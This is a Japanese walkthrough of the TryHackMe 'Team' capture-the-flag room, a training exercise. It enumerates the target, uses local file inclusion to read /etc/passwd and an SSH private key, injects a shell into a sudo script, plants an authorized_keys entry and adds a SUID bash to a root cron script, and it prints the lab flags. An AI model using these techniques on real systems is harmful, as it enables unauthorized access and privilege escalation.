概要
TryHackMe「Team」のWalkthroughです。
Task2
Q1.user.txt
Hint.As the "dev" site is under contruction maybe it has some flaws? "url?=" + "This rooms picture"
ポートスキャンを実行します。
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.72.85 -oN nmap_result
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 79:5f:11:6a:85:c2:08:24:30:6c:d4:88:74:1b:79:4d (RSA)
| 256 af:7e:3f:7e:b4:86:58:83:f1:f6:a2:54:a6:9b:ba:ad (ECDSA)
|_ 256 26:25:b0:7b:dc:3f:b2:94:37:12:5d:cd:06:98:c7:9f (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works! If you see this add 'te...
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
21 | ftp | vsftpd 3.0.3 |
22 | ssh | OpenSSH 7.6p1 |
80 | http | Apache httpd 2.4.29 |
Webサービスのタイトルからホスト名を得られました。
/etc/hosts
に追記します。
10.10.72.85 team.thm
team.thm
へアクセスすると別のWebページが表示されました。
サブドメインの列挙を行います。
$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.team.thm" -u http://team.thm -o ffuf_subdomain_result -fs 11366
www [Status: 200, Size: 2966, Words: 140, Lines: 90, Duration: 285ms]
www.dev [Status: 200, Size: 187, Words: 20, Lines: 10, Duration: 238ms]
dev [Status: 200, Size: 187, Words: 20, Lines: 10, Duration: 4958ms]
発見したサブドメインを/etc/hosts
へ追記します。
10.10.72.85 team.thm www.team.thm www.dev.team.thm dev.team.thm
dev.team.thm
へアクセスするとリンクを発見しました。
リンクをクリックするとパラメータに付与されてページが表示されました。
/script.php?page=teamshare.php
LFIの脆弱性がありそうです。
ファジングをします。
$ wfuzz -c -w /usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt --hw 0 http://www.dev.team.thm/script.php?page=../../../../../../../FUZZ
000000001: 200 34 L 42 W 1698 Ch "/etc/passwd"
000000015: 200 34 L 42 W 1698 Ch "../../../../../../../../../../../../../../etc/passwd"
000000007: 200 34 L 42 W 1698 Ch "../../../../../../etc/passwd"
000000003: 200 34 L 42 W 1698 Ch "../../etc/passwd"
000000019: 200 34 L 42 W 1698 Ch "../../../../../../../../../../../../../../../../../../etc/passwd"
000000018: 200 34 L 42 W 1698 Ch "../../../../../../../../../../../../../../../../../etc/passwd"
000000013: 200 34 L 42 W 1698 Ch "../../../../../../../../../../../../etc/passwd"
000000014: 200 34 L 42 W 1698 Ch "../../../../../../../../../../../../../etc/passwd"
000000016: 200 34 L 42 W 1698 Ch "../../../../../../../../../../../../../../../etc/passwd"
000000017: 200 34 L 42 W 1698 Ch "../../../../../../../../../../../../../../../../etc/passwd"
000000012: 200 34 L 42 W 1698 Ch "../../../../../../../../../../../etc/passwd"
000000011: 200 34 L 42 W 1698 Ch "../../../../../../../../../../etc/passwd"
000000010: 200 34 L 42 W 1698 Ch "../../../../../../../../../etc/passwd"
000000009: 200 34 L 42 W 1698 Ch "../../../../../../../../etc/passwd"
000000006: 200 34 L 42 W 1698 Ch "../../../../../etc/passwd"
000000002: 200 34 L 42 W 1698 Ch "../etc/passwd"
000000008: 200 34 L 42 W 1698 Ch "../../../../../../../etc/passwd"
000000004: 200 34 L 42 W 1698 Ch "../../../etc/passwd"
000000005: 200 34 L 42 W 1698 Ch "../../../../etc/passwd"
ローカルのファイルを読み込めました。
/etc/passwd
ファイルからftpuser
,dale
,gyles
アカウントを確認できました。
ユーザーフラグがこの/home
配下のどれかにあると予想して試していると/home/dale/user.txt
でユーザーフラグを入手できました。
A.THM{6Y0TXHz7c2d}
Q2.root.txt
Hint.Is root running anything automated? ps I like PATH s
SSH接続を試みます。
ユーザー名は判明しているのでパスワードか秘密鍵を探します。
各ユーザーの.ssh/id_rsa
はLFIで得られませんでした。
再度別のワードリストでファイルの列挙をするとSSHの設定ファイルを発見しました。
$ wfuzz -c -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt --hw 0 http://www.dev.team.thm/script.php?page=FUZZ
(省略)
000000081: 200 169 L 447 W 5990 Ch "/etc/ssh/sshd_config"
000000080: 200 52 L 218 W 1581 Ch "/etc/ssh/ssh_config"
/etc/ssh/sshd_config
を見るとdale
の秘密鍵を発見しました。
設定ファイルごとダウンロードします。
$ wget http://www.dev.team.thm/script.php?page=/etc/ssh/sshd_config
ファイルを整形し、SSH接続します。
$ ssh -i id_rsa dale@10.10.72.85
dale@TEAM:~$
sudo -l
を実行すると/home/gyles/admin_checks
を確認できました。
$ sudo -l
Matching Defaults entries for dale on TEAM:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User dale may run the following commands on TEAM:
(gyles) NOPASSWD: /home/gyles/admin_checks
/home/gyles/admin_checks
の処理を確認します。
#!/bin/bash
printf "Reading stats.\n"
sleep 1
printf "Reading stats..\n"
sleep 1
read -p "Enter name of person backing up the data: " name
echo $name >> /var/stats/stats.txt
read -p "Enter 'date' to timestamp the file: " error
printf "The Date is "
$error 2>/dev/null
date_save=$(date "+%F-%H-%M")
cp /var/stats/stats.txt /var/stats/stats-$date_save.bak
printf "Stats have been backed up\n"
$error 2>/dev/null
でコマンドインジェクションを実行できます。
$ sudo -u gyles /home/gyles/admin_checks
Reading stats.
Reading stats..
Enter name of person backing up the data:
Enter 'date' to timestamp the file: /bin/bash -i
The Date is uid=1001(gyles) gid=1001(gyles) groups=1001(gyles),1003(editors),1004(admin)
# 入力
`python3 -c "import pty;pty.spawn('/bin/bash')"`
gyles@TEAM:~$
gyles
アカウントには入れました。
gyles
用にSSH鍵を設定します。
$ echo "<kali pub ssh key>" > /home/gyles/.ssh/authorized_keys
gyles
でSSH接続に成功しました。
$ ssh gyles@10.10.72.85
Enter passphrase for key '/home/kali/.ssh/id_ed25519':
Last login: Sun Jan 17 15:35:55 2021
gyles@TEAM:~$
ヒントからプロセスが怪しいです。
pspy
をKaliからダウンロードして実行すると/opt/admin_stuff/script.sh
をrootが実行していると分かりました。
$ ./pspy32
2024/07/18 21:10:01 CMD: UID=0 PID=23574 | /bin/bash /opt/admin_stuff/script.sh
/opt/admin_stuff/script.sh
の処理を確認します。
#!/bin/bash
#I have set a cronjob to run this script every minute
dev_site="/usr/local/sbin/dev_backup.sh"
main_site="/usr/local/bin/main_backup.sh"
#Back ups the sites locally
$main_site
$dev_site
2つのスクリプトを実行しています。
/usr/local/bin/main_backup.sh
にはadmin
グループアカウントでの編集権限があり、gyles
はadmin
グループに所属しているのでこのスクリプトを編集します。
$ ls -l /usr/local/bin/main_backup.sh
-rwxrwxr-x 1 root admin 65 Jan 17 2021 /usr/local/bin/main_backup.sh
gyles@TEAM:/opt/admin_stuff$ id
uid=1001(gyles) gid=1001(gyles) groups=1001(gyles),1003(editors),1004(admin)
$ cat /usr/local/bin/main_backup.sh
#!/bin/bash
cp -r /var/www/team.thm/* /var/backups/www/team.thm/
# 追記
cp /bin/bash /tmp/bash
chmod u+s /tmp/bash
/tmp
配下にSUIDがセットされたbash
を作成できました。
$ ls -l
total 15780
-rwsr-xr-x 1 root root 1113504 Jul 18 21:14 bash
実行し、root
権限の取得に成功しました。
$ ./bash -p
bash-4.4# whoami
root
ルートフラグファイルを検索します。
# find / -name *root.txt* 2>/dev/null
/root/root.txt
/root/root.txt
からフラグを入手できます。
THM{fhqbznavfonq}
A.THM{fhqbznavfonq}